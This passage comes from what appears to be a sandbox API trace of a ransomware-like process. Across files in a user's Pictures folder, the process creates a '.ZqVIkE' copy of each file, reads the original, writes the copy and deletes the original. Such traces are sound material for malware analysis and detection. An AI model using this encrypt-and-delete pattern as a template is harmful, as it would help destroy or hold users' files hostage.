(in: hFile=0x380, lpBuffer=0x271cd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x271cd90*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0101.447] CloseHandle (hObject=0x380) returned 1 [0101.449] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\eW-adj0sosb SJ3L.gif", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\eW-adj0sosb SJ3L.gif", lpFilePart=0x0) returned 0x2d [0101.449] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\eW-adj0sosb SJ3L.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\ew-adj0sosb sj3l.gif")) returned 1 [0101.487] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\tWw8S4.png.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\tWw8S4.png.ZqVIkE", lpFilePart=0x0) returned 0x2a [0101.487] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0101.487] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\tWw8S4.png.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\pictures\\tww8s4.png.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x380 [0101.488] GetFileType (hFile=0x380) returned 0x1 [0101.488] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0101.488] GetFileType (hFile=0x380) returned 0x1 [0103.028] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\tWw8S4.png", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\tWw8S4.png", lpFilePart=0x0) returned 0x23 [0103.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0103.028] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\tWw8S4.png" (normalized: "c:\\users\\fd1hvy\\pictures\\tww8s4.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x37c [0103.029] GetFileType (hFile=0x37c) returned 0x1 [0103.029] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0103.029] GetFileType (hFile=0x37c) returned 0x1 [0103.030] ReadFile (in: hFile=0x37c, lpBuffer=0x126a19a0, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x126a19a0*, lpNumberOfBytesRead=0x71ee98*=0x7fdb, lpOverlapped=0x0) returned 1 [0103.039] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0103.039] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0103.097] WriteFile (in: hFile=0x380, lpBuffer=0x26145e0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x26145e0*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0103.098] WriteFile (in: hFile=0x380, lpBuffer=0x2617028*, nNumberOfBytesToWrite=0x6ff0, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x2617028*, lpNumberOfBytesWritten=0x71ee88*=0x6ff0, lpOverlapped=0x0) returned 1 [0103.098] ReadFile (in: hFile=0x37c, lpBuffer=0x126a19a0, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x126a19a0*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0103.098] CloseHandle (hObject=0x37c) returned 1 [0103.098] WriteFile (in: hFile=0x380, lpBuffer=0x26145e0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x26145e0*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0103.098] CloseHandle (hObject=0x380) returned 1 [0103.099] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\tWw8S4.png", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\tWw8S4.png", lpFilePart=0x0) returned 0x23 [0103.100] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\tWw8S4.png" (normalized: "c:\\users\\fd1hvy\\pictures\\tww8s4.png")) returned 1 [0103.149] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\HA6vcr0InhEz.gif.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\HA6vcr0InhEz.gif.ZqVIkE", lpFilePart=0x0) returned 0x35 [0103.149] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0103.149] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\HA6vcr0InhEz.gif.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\ha6vcr0inhez.gif.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x380 [0103.150] GetFileType (hFile=0x380) returned 0x1 [0103.150] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0103.150] GetFileType (hFile=0x380) returned 0x1 [0104.691] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\HA6vcr0InhEz.gif", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\HA6vcr0InhEz.gif", lpFilePart=0x0) returned 0x2e [0104.692] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0104.692] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\HA6vcr0InhEz.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\ha6vcr0inhez.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x37c [0104.692] GetFileType (hFile=0x37c) returned 0x1 [0104.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0104.692] GetFileType (hFile=0x37c) returned 0x1 [0104.693] ReadFile (in: hFile=0x37c, lpBuffer=0x127a19d8, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x127a19d8*, lpNumberOfBytesRead=0x71ee98*=0xeb5a, lpOverlapped=0x0) returned 1 [0104.763] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0104.763] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0104.767] WriteFile (in: hFile=0x380, lpBuffer=0x2703c70*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x2703c70*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0104.768] WriteFile (in: hFile=0x380, lpBuffer=0x27066e0*, nNumberOfBytesToWrite=0xdb70, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x27066e0*, lpNumberOfBytesWritten=0x71ee88*=0xdb70, lpOverlapped=0x0) returned 1 [0104.769] ReadFile (in: hFile=0x37c, lpBuffer=0x127a19d8, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x127a19d8*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0104.769] CloseHandle (hObject=0x37c) returned 1 [0104.769] WriteFile (in: hFile=0x380, lpBuffer=0x2703c70*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x2703c70*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0104.769] CloseHandle (hObject=0x380) returned 1 [0104.773] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\HA6vcr0InhEz.gif", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\HA6vcr0InhEz.gif", lpFilePart=0x0) returned 0x2e [0104.773] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\HA6vcr0InhEz.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\ha6vcr0inhez.gif")) returned 1 [0104.890] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\n6mK4.gif.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\n6mK4.gif.ZqVIkE", lpFilePart=0x0) returned 0x2e [0104.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0104.890] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\n6mK4.gif.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\n6mk4.gif.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x380 [0104.890] GetFileType (hFile=0x380) returned 0x1 [0104.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0104.890] GetFileType (hFile=0x380) returned 0x1 [0106.391] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\n6mK4.gif", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\n6mK4.gif", lpFilePart=0x0) returned 0x27 [0106.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0106.391] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\n6mK4.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\n6mk4.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x37c [0106.391] GetFileType (hFile=0x37c) returned 0x1 [0106.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0106.391] GetFileType (hFile=0x37c) returned 0x1 [0106.393] ReadFile (in: hFile=0x37c, lpBuffer=0x125a1968, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x125a1968*, lpNumberOfBytesRead=0x71ee98*=0xe77f, lpOverlapped=0x0) returned 1 [0106.401] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0106.401] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0106.406] WriteFile (in: hFile=0x380, lpBuffer=0x25f4340*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x25f4340*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0106.406] WriteFile (in: hFile=0x380, lpBuffer=0x25f6d90*, nNumberOfBytesToWrite=0xd790, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x25f6d90*, lpNumberOfBytesWritten=0x71ee88*=0xd790, lpOverlapped=0x0) returned 1 [0106.407] ReadFile (in: hFile=0x37c, lpBuffer=0x125a1968, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x125a1968*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0106.407] CloseHandle (hObject=0x37c) returned 1 [0106.407] WriteFile (in: hFile=0x380, lpBuffer=0x25f4340*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x25f4340*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0106.407] CloseHandle (hObject=0x380) returned 1 [0106.409] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\n6mK4.gif", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\n6mK4.gif", lpFilePart=0x0) returned 0x27 [0106.409] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\n6mK4.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\n6mk4.gif")) returned 1 [0106.485] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\sOewv7.gif.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\sOewv7.gif.ZqVIkE", lpFilePart=0x0) returned 0x2f [0106.485] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0106.485] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\sOewv7.gif.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\soewv7.gif.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x380 [0106.486] GetFileType (hFile=0x380) returned 0x1 [0106.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0106.486] GetFileType (hFile=0x380) returned 0x1 [0107.986] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\sOewv7.gif", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\sOewv7.gif", lpFilePart=0x0) returned 0x28 [0107.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0107.987] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\sOewv7.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\soewv7.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x37c [0107.987] GetFileType (hFile=0x37c) returned 0x1 [0107.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0107.987] GetFileType (hFile=0x37c) returned 0x1 [0107.989] ReadFile (in: hFile=0x37c, lpBuffer=0x126a19a0, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x126a19a0*, lpNumberOfBytesRead=0x71ee98*=0x10be, lpOverlapped=0x0) returned 1 [0107.996] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0107.996] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0107.999] WriteFile (in: hFile=0x380, lpBuffer=0x26ea0e0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x26ea0e0*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0108.000] ReadFile (in: hFile=0x37c, lpBuffer=0x126a19a0, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x126a19a0*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0108.000] CloseHandle (hObject=0x37c) returned 1 [0108.000] WriteFile (in: hFile=0x380, lpBuffer=0x26ea0e0*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x26ea0e0*, lpNumberOfBytesWritten=0x71ed58*=0xe0, lpOverlapped=0x0) returned 1 [0108.000] CloseHandle (hObject=0x380) returned 1 [0108.001] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\sOewv7.gif", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\sOewv7.gif", lpFilePart=0x0) returned 0x28 [0108.001] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\sOewv7.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\soewv7.gif")) returned 1 [0108.041] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\AUW9hr-.bmp.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\AUW9hr-.bmp.ZqVIkE", lpFilePart=0x0) returned 0x36 [0108.041] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0108.041] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\AUW9hr-.bmp.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\0xkso\\auw9hr-.bmp.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x380 [0108.041] GetFileType (hFile=0x380) returned 0x1 [0108.041] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0108.041] GetFileType (hFile=0x380) returned 0x1 [0109.394] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\AUW9hr-.bmp", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\AUW9hr-.bmp", lpFilePart=0x0) returned 0x2f [0109.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0109.394] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\AUW9hr-.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\0xkso\\auw9hr-.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x37c [0109.394] GetFileType (hFile=0x37c) returned 0x1 [0109.394] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0109.394] GetFileType (hFile=0x37c) returned 0x1 [0109.396] ReadFile (in: hFile=0x37c, lpBuffer=0x127a19d8, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x127a19d8*, lpNumberOfBytesRead=0x71ee98*=0x16160, lpOverlapped=0x0) returned 1 [0109.404] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0109.404] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0109.410] WriteFile (in: hFile=0x380, lpBuffer=0x25d28a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x25d28a8*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0109.411] WriteFile (in: hFile=0x380, lpBuffer=0x125a2948*, nNumberOfBytesToWrite=0x15180, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x125a2948*, lpNumberOfBytesWritten=0x71ee88*=0x15180, lpOverlapped=0x0) returned 1 [0109.412] ReadFile (in: hFile=0x37c, lpBuffer=0x127a19d8, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x127a19d8*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0109.412] CloseHandle (hObject=0x37c) returned 1 [0109.412] WriteFile (in: hFile=0x380, lpBuffer=0x25d28a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x25d28a8*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0109.412] CloseHandle (hObject=0x380) returned 1 [0109.414] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\AUW9hr-.bmp", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\AUW9hr-.bmp", lpFilePart=0x0) returned 0x2f [0109.414] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\AUW9hr-.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\0xkso\\auw9hr-.bmp")) returned 1 [0109.457] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\JQPxJptzNG_pAT.bmp.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\JQPxJptzNG_pAT.bmp.ZqVIkE", lpFilePart=0x0) returned 0x3d [0109.457] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0109.457] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\JQPxJptzNG_pAT.bmp.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\0xkso\\jqpxjptzng_pat.bmp.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x380 [0109.457] GetFileType (hFile=0x380) returned 0x1 [0109.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0109.457] GetFileType (hFile=0x380) returned 0x1 [0110.876] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\JQPxJptzNG_pAT.bmp", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\JQPxJptzNG_pAT.bmp", lpFilePart=0x0) returned 0x36 [0110.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0110.876] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\JQPxJptzNG_pAT.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\0xkso\\jqpxjptzng_pat.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x37c [0110.876] GetFileType (hFile=0x37c) returned 0x1 [0110.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0110.876] GetFileType (hFile=0x37c) returned 0x1 [0110.876] ReadFile (in: hFile=0x37c, lpBuffer=0x125b7b00, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x125b7b00*, lpNumberOfBytesRead=0x71ee98*=0x76cf, lpOverlapped=0x0) returned 1 [0110.939] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0110.940] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0110.943] WriteFile (in: hFile=0x380, lpBuffer=0x26b7d08*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x26b7d08*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0110.944] WriteFile (in: hFile=0x380, lpBuffer=0x26ba788*, nNumberOfBytesToWrite=0x66e0, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x26ba788*, lpNumberOfBytesWritten=0x71ee88*=0x66e0, lpOverlapped=0x0) returned 1 [0110.945] ReadFile (in: hFile=0x37c, lpBuffer=0x125b7b00, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x125b7b00*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0110.945] CloseHandle (hObject=0x37c) returned 1 [0110.945] WriteFile (in: hFile=0x380, lpBuffer=0x26b7d08*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x26b7d08*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0110.945] CloseHandle (hObject=0x380) returned 1 [0110.946] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\JQPxJptzNG_pAT.bmp", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\JQPxJptzNG_pAT.bmp", lpFilePart=0x0) returned 0x36 [0110.946] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\JQPxJptzNG_pAT.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\0xkso\\jqpxjptzng_pat.bmp")) returned 1 [0110.989] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\KC6AiHlo5RnPEM0G.bmp.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\KC6AiHlo5RnPEM0G.bmp.ZqVIkE", lpFilePart=0x0) returned 0x3f [0110.989] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0110.989] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\KC6AiHlo5RnPEM0G.bmp.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\pictures\\l_cu\\0xkso\\kc6aihlo5rnpem0g.bmp.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x380 [0110.989] GetFileType (hFile=0x380) returned 0x1 [0110.989] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0110.989] GetFileType (hFile=0x380) returned 0x1 [0112.510] GetFullPathNameW (in: 